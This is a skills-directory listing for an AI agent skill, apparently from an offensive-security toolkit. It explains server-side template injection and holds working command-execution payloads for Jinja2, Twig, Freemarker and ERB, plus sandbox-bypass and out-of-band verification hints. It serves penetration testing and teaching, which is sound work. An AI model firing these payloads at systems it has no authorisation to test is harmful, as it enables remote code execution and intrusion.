Server-Side Template Injection → RCE. Load when user input is rendered by a template engine: profile names in emails, custom reports, "hello {{name}}", error pages echoing math, Jinja2/Twig/Freemarker/Velocity/ERB/Handlebars. Signals: {{7*7}} returns 49, ${...} or #{...} evaluated, framework stack traces mentioning a templating engine.
Pro scans all 2 files and shows the line behind each finding
Scanned 9/22/2026
npx -y skills add NoorQureshi/SploitAgent --skill web-ssti --agent claude-codeInstalls into .claude/skills of the current project.
Are you the author of Web Ssti?
Add the live security badge to your README — it updates automatically with every re-scan.
[](https://www.skillsdirectory.com/skills/noorqureshi-web-ssti)More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.
---
name: web-ssti
description: >
Server-Side Template Injection → RCE. Load when user input is rendered by a template
engine: profile names in emails, custom reports, "hello {{name}}", error pages echoing
math, Jinja2/Twig/Freemarker/Velocity/ERB/Handlebars. Signals: {{7*7}} returns 49, ${...}
or #{...} evaluated, framework stack traces mentioning a templating engine.
domain: web
type: technique
stability: learning
modes: [pentest, bugbounty]
severity: critical
owasp: [A03:2021-Injection]
cwe: [CWE-1336, CWE-94]
tools: [tplmap, burp]
schema_version: 1
---
# Server-Side Template Injection (SSTI)
## When it applies
Input flows into a server-side template that is *evaluated*, not just interpolated as text.
Common in email/notification templates, custom dashboards, and any "use variables in your
message" feature.
## Why it works
Template engines execute expressions. If attacker input becomes part of the template source
(rather than a bound variable), the engine evaluates it — and most engines expose object
introspection that reaches OS command execution.
## Method
> **Payloads & full variation set:** [`cheatsheet.md`](cheatsheet.md) next to this file — work the set, not the first line.
1. **Detect** with a polyglot and engine-specific probes:
`${7*7}` `{{7*7}}` `<%= 7*7 %>` `#{7*7}` `{7*7}` — a rendered `49` (not literal text) confirms.
2. **Identify the engine** by which syntax evaluated and by error messages, then branch:
- **Jinja2 (Python)**: `{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}`
- **Twig (PHP)**: `{{ ['id']|filter('system') }}` or `_self.env.registerUndefinedFilterCallback`.
- **Freemarker (Java)**: `<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}`.
- **ERB (Ruby)**: `<%= \`id\` %>`.
3. **Automate/confirm** with `tplmap -u <url>` once you know it's injectable, but understand the
payload — WAFs and sandboxes need manual gadget-chaining.
## Gotchas
- `{{7*7}}` → `49` is SSTI; `{{7*'7'}}` behaviour distinguishes Jinja (`7777777`) from Twig (`49`).
- Sandboxed engines (Twig sandbox, Jinja SandboxedEnvironment) block direct globals — hunt for a bypass gadget.
- XSS ≠ SSTI: `<svg>` rendering is client-side; only server-side *evaluation* of expressions is SSTI.
## Verify success
Command output (`uid=...` from `id`) reflected in the response, or an OOB callback from
`curl`/`nslookup` run through the payload.
## References
PortSwigger SSTI labs; James Kettle "Server-Side Template Injection".
Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.
No comments yet. Be the first to comment!